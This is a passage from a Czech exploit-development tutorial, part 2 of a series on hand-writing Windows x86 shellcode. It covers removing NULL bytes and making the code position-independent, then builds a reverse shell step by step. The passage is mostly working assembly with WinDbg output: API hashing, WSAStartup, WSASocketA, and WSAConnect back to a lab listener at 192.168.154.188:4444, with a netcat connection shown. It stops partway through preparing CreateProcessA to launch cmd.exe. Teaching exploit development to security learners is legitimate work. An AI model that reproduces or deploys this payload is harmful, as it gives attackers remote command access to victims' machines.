Vytvoření vlastního Shellcodu – část 2

Dnešní článek přímo naváže na konec předchozího, kde jsme si nastínili, jak vytvořit vlastní shellcode, respektive jeho základ. Pro použití v praxi (exploitu) je však nezbytné vyhnout se některým aspektům např. použití hodnoty NULL nebo závislosti na pozici v paměti, což si názorně předvedeme. Aby námi vytvořený shellcode nezůstal pouze jako nic nedělající „kostra“, vytvoříme ten obecně nejrozšířenější – reverse shell.

Prerekvizity:

  • Základní znalost tvorby exploitů
  • Základní znalost stacku, registrů, assembler instrukcí a opcodes
  • Základní znalost práce s nástrojem WinDbg
  • PoC z předchozího článku (Vytvoření vlastního Shellcodu)

Vyhnutí se NULL bajtům

Nejprve pustíme PoC shellcodu z předchozího článku v debuggeru, po softwarovém breakpointu můžeme vidět, že byť shellcode funguje správně, obsahuje NULL bajty:

0:004> g
(1ca4.458): Break instruction exception - code 80000003 (first chance)
eax=039bf990 ebx=00000000 ecx=03780000 edx=03780000 esi=03780000 edi=03780000
eip=03780000 esp=039bf938 ebp=039bf944 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
03780000 cc              int     3
0:004> u @eip L6
03780000 cc              int     3
03780001 89e5            mov     ebp,esp
03780003 81ec00020000    sub     esp,200h
03780009 e811000000      call    0378001f
0378000e 6883b9b578      push    78B5B983h
03780013 e822000000      call    0378003a

V případě, kdy spouštíme shellcode pomocí Python skriptu, tak to problém není, avšak použití v reálném exploitu s největší pravděpodobností nebude fungovat, neboť NULL bajt je zpravidla „bad character“.

Když se podíváme na instrukce, které generují NULL bajt, zjistíme, že první je instrukce sub esp,200h. Namísto odčítání kladného offsetu, přičteme offset záporný čímž docílíme úplně stejného výsledku a vyhneme se použití NULL bajtu:

0:004> ? 0x0 - 0x210
Evaluate expression: -528 = fffffdf0

Upravíme stávající shellcode a zkontrolujeme, že se již NULL bajt na původní pozici neobjevuje:

" start:                     "
    "   int3                    ;" # breakpoint pro windbg
    "   mov ebp, esp            ;"
    "   add esp, 0xfffffdf0     ;" # Vyhnutí se NULL bajtu
    "   call find_kernel32      ;" #
    "   push 0x78b5b983         ;" # TerminateProcess hash
    "   call find_function      ;" #
...

0:004> u @eip L6
03210000 cc              int     3
03210001 89e5            mov     ebp,esp
03210003 81c4f0fdffff    add     esp,0FFFFFDF0h
03210009 e811000000      call    0321001f
0321000e 6883b9b578      push    78B5B983h
03210013 e822000000      call    0321003a

Obdobný způsob můžeme využít pro většinu instrukcí generující NULL bajt kromě instrukcí CALL a JMP, na které se blíže zaměříme v textu níže.

Pozičně nezávislý shellcode

Instrukce CALL generuje NULL bajt, protože kód volá funkci napřímo. Každé přímé volání funkce, v závislosti na jejím umístění, vyvolá buď „blízké volání“ obsahující relativní offset, nebo „vzdálené volání“ obsahující absolutní adresu.

Existují dva způsoby jak se NULL bajtu vyhnout. První možností je přesunout všechny funkce v kódu nad instrukci CALL, čímž vznikne negativní relativní offset. Druhá možnost spočívá v dynamickém zjištění absolutní adresy funkce, kterou chceme volat, a uložení její hodnoty do registru. Výhoda druhé možnosti je její flexibilita a zároveň tím vznikne „NULL-free“ a pozičně nezávislý shellcode (může být uložen na jakékoliv pozici v paměti).

V našem shellcodu využijeme obou technik, nejprve skutečnost, že volání funkce umístěné na nižší adrese bude používat záporný offset, a proto má vysokou šanci, že nebude obsahovat NULL bajt. Navíc při provádění instrukce CALL bude návratová adresa vložena na zásobník. Tato adresa může být poté přenesena ze zásobníku do registru a použita k dynamickému výpočtu absolutní adresy funkce, kterou budeme chtít provolat.

Nejprve upravíme funkci start z které odebereme CALL instrukce a běh programu přímo vstoupí do funkce find_kernel32. Po zjištění base adresy knihovny kernerl32.dll přidáme nové funkce k zjištění pozice shellcodu v paměti. Nejprve, funkce find_function_short obsahuje pouze jednu instrukci, krátký skok do funkce find_function_short_c, a jelikož se funkce vyskytují blízko sebe, opcode instrukce JMP nebude obsahovat NULL bajt. Druhá zmíněná funkce též obsahuje pouze jednu instrukci, tentokrát CALL s voláním třetí nové funkce find_function_ret. Jelikož se volaná funkce nachází nad instrukcí CALL bude její offset negativní, a tudíž se opět vyhneme NULL bajtu. Po zavolání instrukce CALL se uloží návratová adresa na zásobník – zásobník bude ukazovat na první instrukci funkce find_function. Ve funkci find_function_ret nejprve pomocí instrukce POP uložíme právě na zásobník vloženou adresu do registru, což nám umožní provést nepřímé volání (indirect call). Na závěr je adresa uložena na pozici EBP registru s offsetem 0x04 pro budoucí použití.

" start:                     "
    "   int3                    ;" # breakpoint pro windbg
    "   mov ebp, esp            ;"
    "   add esp, 0xfffffdf0     ;" # Vyhnutí se NULL bajtu
...

    " find_function_short:       " #
    "   jmp find_function_short_c ;" # Krátký skok

    " find_function_ret:         " #
    "    pop esi                ;" # Návratová adresa ze zásobníku
    "    mov [ebp+0x04], esi    ;" # Uložení adresy funkce find_function
    "    jmp resolve_symbols_kernel32 ;" #

    " find_function_short_c: " #
    "    call find_function_ret ;" # CALL instrukce s negativním offsetem

Na konec kódu přesuneme instrukce pro vložení hashe, zjištění funkce a její spuštění (dříve ve funkci start):

" resolve_symbols_kernel32:  "
    "    push 0x78b5b983        ;" # TerminateProcess hash
    "    call dword ptr [ebp+0x04] ;" # Call find_function
    "    mov [ebp+0x10], eax    ;" # Uložení TerminateProcess addresy pro budoucí použití
    
    " exec_shellcode:            " #
    "    xor ecx, ecx           ;" # Null ECX
    "    push ecx               ;" # uExitCode
    "    push 0xffffffff        ;" # hProcess
    "    call dword ptr [ebp+0x10] ;" # Call TerminateProcess

V debuggeru nyní zkontrolujeme, že vše funguje jak má – CALL instrukce neobsahuje NULL bajt (díky negativnímu offsetu) a návratová hodnota na zásobníku ukazuje na první instrukci ve funkci find_function:

0:004> u @eip L10
...
034c0023 eb06            jmp     034c002b
034c0025 5e              pop     esi
034c0026 897504          mov     dword ptr [ebp+4],esi
034c0029 eb54            jmp     034c007f
0:004> bp 034c0023
0:004> g
Breakpoint 0 hit
...
0:004> t
eax=036ff928 ebx=75460000 ecx=00000000 edx=034c0000 esi=01056d88 edi=01052620
eip=034c002b esp=036ff6c0 ebp=036ff8d0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
034c002b e8f5ffffff      call    034c0025
0:004> t
...
0:004> dds @esp L1
036ff6bc  034c0030
0:004> u poi(@esp)
034c0030 60              pushad
034c0031 8b433c          mov     eax,dword ptr [ebx+3Ch]
034c0034 8b7c0378        mov     edi,dword ptr [ebx+eax+78h]
034c0038 01df            add     edi,ebx
034c003a 8b4f18          mov     ecx,dword ptr [edi+18h]
034c003d 8b4720          mov     eax,dword ptr [edi+20h]
034c0040 01d8            add     eax,ebx
034c0042 8945fc          mov     dword ptr [ebp-4],eax

Dále ověříme, že správně zafungovalo i nepřímé volání (indirect call) z funkce resolve_symbols_kernel32 – též neobsahuje NULL bajt:

...
0:004> t
eax=036ff928 ebx=75460000 ecx=00000000 edx=034c0000 esi=034c0030 edi=01052620
eip=034c0084 esp=036ff6bc ebp=036ff8d0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
034c0084 ff5504          call    dword ptr [ebp+4]    ss:002b:036ff8d4=034c0030
0:004> p
eax=75479910 ebx=75460000 ecx=00000000 edx=034c0000 esi=034c0030 edi=01052620
eip=034c0087 esp=036ff6bc ebp=036ff8d0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
034c0087 894510          mov     dword ptr [ebp+10h],eax ss:002b:036ff8e0=77397c6e
0:004> u @eax
KERNEL32!TerminateProcessStub:
75479910 8bff            mov     edi,edi
75479912 55              push    ebp
75479913 8bec            mov     ebp,esp
75479915 5d              pop     ebp
75479916 ff254c154e75    jmp     dword ptr [KERNEL32!_imp__TerminateProcess (754e154c)]
7547991c cc              int     3
7547991d cc              int     3
7547991e cc              int     3

Reverse Shell

V tuto chvíli jsme schopni vytvořit plně funkční shellcode, pro ukázku zvolíme ten nejrozšířenější, tedy reverse shell. Prozkoumáním volně dostupných reverse shellů napsaných v programovacím jazyku C zjistíme, že většina potřebných API volání pochází z knihovny ws2_32.dll. Nejprve je potřeba inicializovat Winsock knihovnu pomocí WSAStartup, následně provolat WSASocketA k vytvoření soketu a nakonec funkci WSAConnect k navázání spojení. Poslední volané API je pak CreateProcessA z knihovny kernel32.dll – spuštění procesu cmd.exe.

ws2_32.dll

Již nyní je náš shellcode schopný získat potřebné exportované symboly z knihovny kernel32.dll – nejprve nalezneme a uložíme (pro pozdější použití) adresu CreateProcessA API. Následně je potřeba načíst knihovnu ws2_32.dll do vyhrazené paměti shellcodu a zjistit její base adresu, k čemuž můžeme využít funkci LoadLibraryA (součást knihovny kernel32.dll).

K získání symbolů z ws2_32.dll lze využít GetProcessAddress API (též z kernel32.dll), nebo znovu použít k tomuto účelu námi již vytvořenou funkci (find_function) – jediným požadavkem je, aby base adresa byla uložena v EBX registru, aby mohla být relativní virtuální adresa přeložena na „Virtual Memory Address“.

Nejprve do shellcodu přidáme načtení zbývajících symbolů z knihovny kernel32.dll:

" resolve_symbols_kernel32:  "
    "    push 0x78b5b983        ;" # TerminateProcess hash
    "    call dword ptr [ebp+0x04] ;" # Call find_function
    "    mov [ebp+0x10], eax    ;" # Uložení TerminateProcess addresy pro budoucí použití
    "    push 0xec0e4e8e        ;" # LoadLibraryA hash
    "    call dword ptr [ebp+0x04];" # Call find_function
    "    mov [ebp+0x14], eax    ;" # Uložení LoadLibraryA addresy pro budoucí použití
    "    push 0x16b3fe72        ;" # CreateProcessA hash
    "    call dword ptr [ebp+0x04];" # Call find_function
    "    mov [ebp+0x18], eax    ;" # Uložení CreateProcessA addresy pro budoucí použití
...

Dále si připravíme volání pro funkci LoadLibraryA. Vynulujeme registr EAX a provedeme posun konce řetězce „ws2_32.dll“ do AX registru, čímž zajistíme, že bude řetězec „NULL terminated“ bez využití NULL bajtu v shellcodu. Zbylé dvě PUSH instrukce vloží zbývající části řetězce na zásobník a následně i samotný ukazatel na hledaný řetězec (PUSH ESP) – LoadLibraryA vyžaduje jako parametr ukazatel na řetězec, který se již na zásobníku nachází. Na závěr zavoláme samotnou funkci LoadLibraryA:

" load_ws2_32:               " #
    "    xor eax, eax           ;" # Null EAX
    "    mov ax, 0x6c6c         ;" # Konez řetězce v AX
    "    push eax               ;" # Vložení EAX na zásobník s NULL bajtem
    "    push 0x642e3233        ;" # Vložení další části řetězce
    "    push 0x5f327377        ;" # Vložení další části řetězce
    "    push esp               ;" # Vložení ukazatele na string na zásobník
    "    call dword ptr [ebp+0x14];" # Call LoadLibraryA

K získání symbolů z knihovny w2_32.dll využijeme naší funkci find_function. Nejprve, jak již bylo zmíněno, přesuneme base adresu knihovny do registru EBX – návratová hodnota z LoadLibraryA uložena v registru EAX. Se znalostí base adresy w2_32.dll můžeme vložit na zásobník hash pro daný symbol, v našem případě tedy hash WSAStartup, a zavolat funkci find_functon:

" resolve_symbols_ws2_32:    " 
    "    mov ebx, eax           ;" # Uložení base adresy ws2_32.dll do EBX
    "    push 0x3bfcedcb        ;" # WSAStartup hash
    "    call dword ptr [ebp+0x04];" # Call find_function
    "    mov [ebp+0x1C], eax    ;" # Uložení WSAStartup addresy pro budoucí použití

Obdobným způsobem lze nalézt též zbývající API z knihovny ws2_32.dll, tedy WSASocketA a WSAConnect.

Abychom mohli provolat WSAStartup funkci, musíme nejprve zjistit očekávané parametry. Z oficiální dokumentace:

int WSAStartup(
        WORD      wVersionRequired,
  [out] LPWSADATA lpWSAData
);

První parametr je specifikace verze Windows Socket, hodnotu nastavíme na „2.2“ – nejnovější verze. Druhý parametr je ukazatel na datovou strukturu WSDATA, která obdrží podrobnosti o Windows Socket implementaci. Stačí tedy pro strukturu vyhradit dostatečně velký prostor projitím jednotlivých prvků a zjištěním jejich velikostí:

typedef struct WSAData {
  WORD           wVersion;
  WORD           wHighVersion;
#if ...
  unsigned short iMaxSockets;
#if ...
  unsigned short iMaxUdpDg;
#if ...
  char           *lpVendorInfo;
#if ...
  char           szDescription[WSADESCRIPTION_LEN + 1];
#if ...
  char           szSystemStatus[WSASYS_STATUS_LEN + 1];
#else
  char           szDescription[WSADESCRIPTION_LEN + 1];
#endif
#else
  char           szSystemStatus[WSASYS_STATUS_LEN + 1];
#endif
#else
  unsigned short iMaxSockets;
#endif
#else
  unsigned short iMaxUdpDg;
#endif
#else
  char           *lpVendorInfo;
#endif
} WSADATA;

Z dokumentace zjistíme, že některé prvky již nejsou používány od verze 2.0 a vyšší. Většina zbývajících polí struktury má přesně definovanou délku až na szDescription a szSystemStatus. Maximální délka szDescription je 257 (WSADESCRIPTION_LEN, která je 256 / 0x100 + NULL bajt). Délku szSystemStatus dokumentace neuvádí, nicméně, z jiných online zdrojů můžeme zjistit, že maximální délka je 129 (WSASYS_STATUS_LEN, která je 128 / 0x80 + NULL bajt). I když neznáme přesnou velikost celé struktury, jsme schopni vypočítat kolik místa maximálně zabere:

0x2 + 0x2 + 0x2 + 0x2 + 0x4 + 0x100 + 0x1 + 0x80 + 0x1 = 0x18e

Jelikož velikost struktury je větší než námi vyhrazený prostor na zásobníku, je potřeba shellcode upravit a ve funkci start odečíst od registru ESP větší hodnotu. Dále přidáme novou funkci call_wsastartup k provolání WSAStartup API. Nejprve je nutné vyhradit dostatečný prostor pro návratovou strukturu WSDATA – aby další instrukce shellcodu strukturu nepřepsaly. Ukazatel na zásobník uložíme do EAX registru a následně pomocí CX registru odečteme libovolnou hodnotu (dostatečně velkou), tím se zároveň v instrukcích vyhneme NULL bajtům. Dále přes AX registr nastavíme hodnotu požadované verze („2.2“ reprezentované jako 0x0202) a na závěr provoláme funkci WSAStartup:

" start:                     " 
    "   int3                    ;" # breakpoint pro windbg
    "   mov ebp, esp            ;"
    "   add esp, 0xfffff9f0     ;" # Vyhnutí se NULL bajtu    
...    
    " call_wsastartup:           " #
    "    mov eax, esp           ;" # Přesunutí ESP do EAX
    "    mov cx, 0x590          ;" # Vložení 0x590 do CX
    "    sub ax, cx             ;" # Odečtení CX od EAX abychom později nepřepsali strukturu
    "    push eax               ;" # Vložení lpWSAData
    "    xor eax, eax           ;" # Vynulování EAX
    "    mov ax, 0x0202         ;" # Verze 2.2
    "    push eax               ;" # Vložení wVersionRequired
    "    call dword ptr [ebp+0x1C];" # Call WSAStartup

Kontrolou v debuggeru můžeme ověřit, že se parametry správně předaly a volání bylo úspěšné – návratová hodnota v registru EAX je 0:

0:004> r
eax=00000202 ebx=77130000 ecx=00ee0590 edx=00ee0000 esi=00d60030 edi=00ee2620
eip=00d600d3 esp=0327f844 ebp=0327fe78 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00d600d3 ff551c          call    dword ptr [ebp+1Ch]  ss:002b:0327fe94={WS2_32!WSAStartup (77139cc0)}
0:004> dds @esp L2
0327f844  00000202
0327f848  0327f2bc
0:004> p
eax=00000000 ebx=77130000 ecx=50725599 edx=00eeac30 esi=00d60030 edi=00ee2620
eip=00d600d6 esp=0327f84c ebp=0327fe78 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00d600d6 31c9            xor     ecx,ecx

Následné API, které je potřeba provolat je WSASocket čímž se samotný soket vytvoří. Opět ověříme v dokumentaci potřebné parametry:

SOCKET WSAAPI WSASocketA(
  [in] int                 af,
  [in] int                 type,
  [in] int                 protocol,
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,
  [in] GROUP               g,
  [in] DWORD               dwFlags
);

Většina datových typů jsou dobře známé, jako INT nebo DWORD, kromě parametrů lpProtocolInfo a g. Níže si přiblížíme význam jednotlivých parametrů:

  • af – specifikace tvaru adresy, AF_INET (2) odpovídá IPv4
  • type – typ spojení (soketu), pro běžnou TCP komunikaci zvolíme SOCK_STREAM (1)
  • protocol – tento parametr je odvozen od dvou předchozích, zvolíme tedy IPPROTO_TCP (6)
  • lpProtocolInfo – očekávanou hodnotou je ukazatel na strukturu WSAPROTOCOL_INFO (vlastnosti soketu), nicméně hodnota může být i NULL (0x0)
  • g – specifikace skupiny soketů, jelikož vytváříme jeden soket, hodnota bude NULL
  • dwFlags – specifikace dalších atributů soketu, pro účely shellcodu není potřeba definice dalších atributů, nastavíme hodnotu opět na NULL

V shellcodu vytvoříme novou funkci volající WSASocket API. Nejprve vynulujeme EAX registr a tři krát ho vložíme na zásobník – poslední tři NULL parametry. Následně posunem AL registru vložíme na zásobník hodnotu 6 reprezentující IPPROTO_TCP protokol. V dalším kroku odečteme od AL registru 5, abychom získali hodnotu 1 – SOCK_STREAM. Jako poslední se provede inkrementace registru EAX (AF_INET) a provolaní WSASocketA API:

" call_wsasocketa:           " #
    "    xor eax, eax           ;" # Null EAX
    "    push eax               ;" # Push dwFlags
    "    push eax               ;" # Push g
    "    push eax               ;" # Push lpProtocolInfo
    "    mov al, 0x06           ;" # Posun AL, IPPROTO_TCP
    "    push eax               ;" # Push protocol
    "    sub al, 0x05           ;" # Odečtení 0x05 z AL, AL = 0x01
    "    push eax               ;" # Push type
    "    inc eax                ;" # Inkrementace EAX, EAX = 0x02
    "    push eax               ;" # Push af
    "    call dword ptr [ebp+0x20];" # Call WSASocketA

Po zavolání instrukce CALL WSASocketA zkontrolujeme v debuggeru návratovou hodnotu – registr EAX:

0:004> g
Breakpoint 0 hit
eax=00000002 ebx=77130000 ecx=60c486b1 edx=015dadf0 esi=03990030 edi=015d2620
eip=039900f9 esp=03bcf5d0 ebp=03bcfc1c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
039900f9 ff5520          call    dword ptr [ebp+20h]  ss:002b:03bcfc3c={WS2_32!WSASocketA (77147140)}
0:004> dds @esp L6
03bcf5d0  00000002
03bcf5d4  00000001
03bcf5d8  00000006
03bcf5dc  00000000
03bcf5e0  00000000
03bcf5e4  00000000
0:004> p
ModLoad: 74300000 74352000   C:\WINDOWS\SysWOW64\mswsock.dll
eax=00000254 ebx=77130000 ecx=60c486b1 edx=00000007 esi=03990030 edi=015d2620
eip=039900fc esp=03bcf5e8 ebp=03bcfc1c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246

Oficiální dokumentace uvádí, že pokud je volání neúspěšné, návratová hodnota je INVALID_SOCKET250 (0xFFFF). Jinak funkce vrátí deskriptor odkazující na soket, vytvoření soketu tedy proběhlo úspěšně. Když je soket již vytvořený, můžeme provolat API WSAConnect, které naváže spojení mezi dvěma aplikacemi (sokety). Vyžadované parametry z dokumentace:

int WSAAPI WSAConnect(
  [in]  SOCKET         s,
  [in]  const sockaddr *name,
  [in]  int            namelen,
  [in]  LPWSABUF       lpCallerData,
  [out] LPWSABUF       lpCalleeData,
  [in]  LPQOS          lpSQOS,
  [in]  LPQOS          lpGQOS
);

První parametr je typu SOCKET a očekává deskriptor k nepřipojenému soketu, tedy návratová hodnota z předchozího API WSASocketA. V tuto chvíli je hodnota uložena v registru EAX. Druhý parametr je ukazatel na sockaddr strukturu, která se liší podle zvoleného protokolu. Pro IPv4 použijeme strukturu sockaddr_in:

typedef struct sockaddr_in {
#if ...
  short          sin_family;
#else
  ADDRESS_FAMILY sin_family;
#endif
  USHORT         sin_port;
  IN_ADDR        sin_addr;
  CHAR           sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;

První pole struktury (sin_family) je tvar adresy, a dle oficiální dokumentace má mít vždy hodnotu AF_INT. Druhé pole, jak název napovídá, specifikuje port. Následuje vnořená struktura IN_ADDR, která obsahuje ke spojení použitou IP adresu. Definice struktury se liší v závislosti na způsobu předávání IP adresy. V paměti však struktury vypadají naprosto identicky, což znamená, že můžeme uložit IP adresu jako typu DWORD. Posledním polem v sockaddr_in struktuře je pole 8 znaků. Podle oficiální dokumentace je toto pole vyhrazeno pro systémové použití a jeho obsah by měl být nastaven na 0.

Nyní, když jsme probrali strukturu sockaddr_in a vnořenou strukturu IN_ADDR, podívejme se na další parametry WSAConnect – namelen. Jedná se o velikost struktury sockaddr_in, která podle datových typů z definic struktury je 0x10 bajtů. Další dva parametry lpCallerData a lpCalleeData očekávají ukazatel na uživatelská data, která budou soketem přenášena. Podle dokumentace jsou tyto parametry používány staršími protokoly a nejsou podporovány pro TCP/IP. Obě hodnoty tedy můžeme nastavit na hodnotu NULL. Parametr lpSQOS vyžaduje ukazatel na strukturu FLOWSPEC255. Tato struktura se používá v aplikacích, které podporují parametry kvality služby (QoS), což není případ našeho shellcodu, takže jej můžeme nastavit na hodnotu NULL. Poslední lpGQOS parametr je vyhrazen a měl by být nastaven na NULL.

Před změnou shellcodu je potřeba převést IP adresu a port stroje, který přijme spojení z našeho shellcodu, do správného formátu. Pro ukázku bude použita IP adresa 192.168.154.188 a port 4444 (Kali stroj):

192 = c0
168 = a8
154 = 9a
188 = bc

IP: bc9aa8c0
-----------
4444 = 115c

Port: 5c11

Vytvoříme novou funkci call_wsaconnect k provolání WSAConnectA API. Nejprve uložíme deskriptor z předchozího kroku (funkce call_wsasocketa) do registru ESI. Následně nastavíme hodnotu NULL v registru EAX a vložíme ji 2x na zásobník. Poté na zásobník vložíme DWORD představující hexadecimální reprezentaci IP adresu stroje Kali – nutné vložit v opačném pořadí kvůli little endian řazení. To samé platí i pro další instrukci, která do registru AX vloží typ WORD s hodnotou reprezentující příslušný port (4444) v hexadecimální podobě. Pomocí instrukce SHL se provede posun doleva o 0x10 bajtů a následně se připočte 0x02 (sin_port a sin_family jsou definováni jako USHORT, což znamená, že jsou dva bajty dlouhé). Výsledný DWORD vložíme na zásobník, čímž dokončíme sockaddr_in strukturu. Následně uložíme ukazatel na strukturu v registru EDI. Další instrukce opět vynuluje registr EAX, který 4x vložíme na zásobník. Poté se k registru AL připočte hodnota 0x10 (velikost struktury) a vloží na zásobník společně s registrem EDI, který obsahuje ukazatel na strukturu sockaddr_in. Jako poslední se na zásobník vloží deskriptor soketu (ESI registr) a provolá WSASocketA API:

" call_wsaconnect:           " #
    "    mov esi, eax           ;" # Přesunutí SOCKET deskriptoru do ESI
    "    xor eax, eax           ;" # Null EAX
    "    push eax               ;" # Push sin_zero[]
    "    push eax               ;" # Push sin_zero[]
    "    push 0xbc9aa8c0        ;" # Push sin_addr (192.168.154.188)
    "    mov ax, 0x5c11         ;" # Uložení sin_port (4444) do AX
    "    shl eax, 0x10          ;" # Left shift EAX o 0x10 bajtů
    "    add ax, 0x02           ;" # Přidání 0x02 (AF_INET) do AX
    "    push eax               ;" # Push sin_port & sin_family
    "    push esp               ;" # Vložení ukazatele na sockaddr_in strukturu na zásobník
    "    pop edi                ;" # Uložení ukazatele na sockaddr_in v EDI
    "    xor eax, eax           ;" # Null EAX
    "    push eax               ;" # Push lpGQOS
    "    push eax               ;" # Push lpSQOS
    "    push eax               ;" # Push lpCalleeData
    "    push eax               ;" # Push lpCalleeData
    "    add al, 0x10           ;" # Nastavení AL na 0x10
    "    push eax               ;" # Push namelen
    "    push edi               ;" # Push *name
    "    push esi               ;" # Push s
    "    call dword ptr [ebp+0x24];" # Call WSASocketA

Nastavení listeneru v Kali, ověření v debuggeru, že se všechny parametry nastavily správně a spojení bylo navázáno (návratová hodnota v registru EAX je 0):

0:004> g
ModLoad: 74300000 74352000   C:\WINDOWS\SysWOW64\mswsock.dll
Breakpoint 0 hit
eax=00000010 ebx=77130000 ecx=1f655ba7 edx=00000001 esi=00000194 edi=032df1a8
eip=030a0120 esp=032df18c ebp=032df7ec iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
030a0120 ff5524          call    dword ptr [ebp+24h]  ss:002b:032df810={WS2_32!WSAConnect (77166c80)}
0:004> dds @esp L7
032df18c  00000194
032df190  032df1a8
032df194  00000010
032df198  00000000
032df19c  00000000
032df1a0  00000000
032df1a4  00000000
0:004> dds 032df1a8 L4
032df1a8  5c110002
032df1ac  bc9aa8c0
032df1b0  00000000
032df1b4  00000000
0:004> p
eax=00000000 ebx=77130000 ecx=00000000 edx=032deeb0 esi=00000194 edi=032df1a8
eip=030a0123 esp=032df1a8 ebp=032df7ec iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
...
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444    
listening on [any] 4444 ...
connect to [192.168.154.188] from (UNKNOWN) [192.168.154.212] 51879

CreateProcessA – cmd.exe

Nyní, když jsme úspěšně iniciovali připojení, musíme najít způsob, jak spustit proces cmd.exe a přesměrovat jeho vstup a výstup přes námi vytvořené připojení. K tomuto účelu využijeme CreateProcessA API. Nejprve se podíváme na požadované parametry z dokumentace:

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

První parametr musí obsahovat ukazatel na řetězec s názvem aplikace, která má být spuštěna. Pokud je hodnota nastavena na NULL, druhý parametr již být NULL nesmí a obráceně. Tento parametr očekává ukazatel na řetězec obsahující „příkazovou řádku“, která má být spuštěna. V našem shellcodu použijeme zmíněný parametr ke spuštění cmd.exe. Parametry lpProcessAttributes a lpThreadAttributes očekávají ukazatel na strukturu SECURITY_ATTRIBUTES. V našem případě mohou obsahovat hodnotu NULL. Následující parametr bInheritHandles očekává hodnotu TRUE (1) nebo FALSE (0) a určuje zda nový proces „zdědí handle“ (Handle Inheritance) od volajícího procesu. Pro účely reverse shellu nastavíme hodnotu na TRUE. Parametr dwCreationFlags očekává tzv. Process Creation Flags, pokud je hodnota NULL, nový proces použije stejné příznaky jako má volající proces. lpEnvironment parametr je ukazatel na blok prostředí, dle dokumentace, pokud je hodnota NULL, využije se prostředí volajícího procesu. Parametr lpCurrentDirectory umožňuje zadat úplnou cestu k adresáři s požadovaným procesem (cmd.exe). Jelikož je cmd.exe v proměnné PATH, není potřeba parametr definovat. Poslední dva parametry vyžadují ukazatel na struktury STARTUPINFOA a PROCESS_INFORMATION. Jelikož struktura PROCESS_INFORMATION bude naplněna samotným API, stačí pouze znát její velikost. Na druhou stranu struktura STARTUPINFOA musí být předána API v rámci našeho shellcodu:

typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

Oficiální dokumentace zmiňuje, že většinu atributů je možné nastavit na hodnotu NULL a je tedy potřeba zjistit příslušné hodnoty jen pro některé:

  • cb – velikost struktury, která je 0x44 (lze zjistit z veřejně dostupných symbolů)
  • dwFlags – bitové pole určující zda členové struktury STARTUPINFOA mají být použity při vytvoření nového okna. Pro účely reverse shellu nastavíme na hodnotu STARTF_USESTDHANDLES – povolení hStdInput, hStdOutput, and hStdError

Jelikož jsme nastavili STARTF_USESTDHANDLES příznak, je potřeba jednotlivým členům struktury STARTUPINFOA pro vstup (hStdInput), výstup (hStdOutput) a chybu (hStdError) předat „handle“. Pro interakci s procesem cmd.exe prostřednictvím vytvořeného soketu můžeme zadat deskriptor soketu získaný z volání WSASocketA jako „handle“.

Protože CreateProcessA API vyžaduje velký počet argumentů a celkem velkou strukturu, rozdělíme shellcode do několika separátních funkcí. Začneme s create_startupinfoa pro vytvoření struktury STARTUPINFOA. Nejprve na zásobník vložíme registr ESI obsahující deskriptor soketu, který zároveň využijeme jako „handle“ pro hStdInput, hStdOutput, a hStdError. Vynulujeme registr EAX a 2x ho vložíme na zásobník, což bude reprezentovat následující tři členy struktury (lpReserved2, cbReserved2 a wShowWindow). Dále do registrů AL a CX nastavíme hodnotu 0x80 a následně vzájemně sečteme, čímž získáme požadovanou hodnotu 0x100 (tím se opět vyhneme NULL bajtu). Poslední nenulový člen struktury je cb – velikost struktury, tedy 0x44. Na závěr do registru EDI uložíme ukazatel na právě vytvořenou strukturu:

" create_startupinfoa:       " #
    "    push esi               ;" # Push hStdError
    "    push esi               ;" # Push hStdOutput
    "    push esi               ;" # Push hStdInput
    "    xor eax, eax           ;" # Null EAX
    "    push eax               ;" # Push lpReserved2
    "    push eax               ;" # Push cbReserved2 & wShowWindow
    "    mov al, 0x80           ;" # Uložení 0x80 do AL
    "    xor ecx, ecx           ;" # Null ECX
    "    mov cx, 0x80           ;" # Uložení 0x80 do CX
    "    add eax, ecx           ;" # Nastavení EAX na hodnotu 0x100
    "    push eax               ;" # Push dwFlags
    "    xor eax, eax           ;" # Null EAX
    "    push eax               ;" # Push dwFillAttribute
    "    push eax               ;" # Push dwYCountChars
    "    push eax               ;" # Push dwXCountChars
    "    push eax               ;" # Push dwYSize
    "    push eax               ;" # Push dwXSize
    "    push eax               ;" # Push dwY
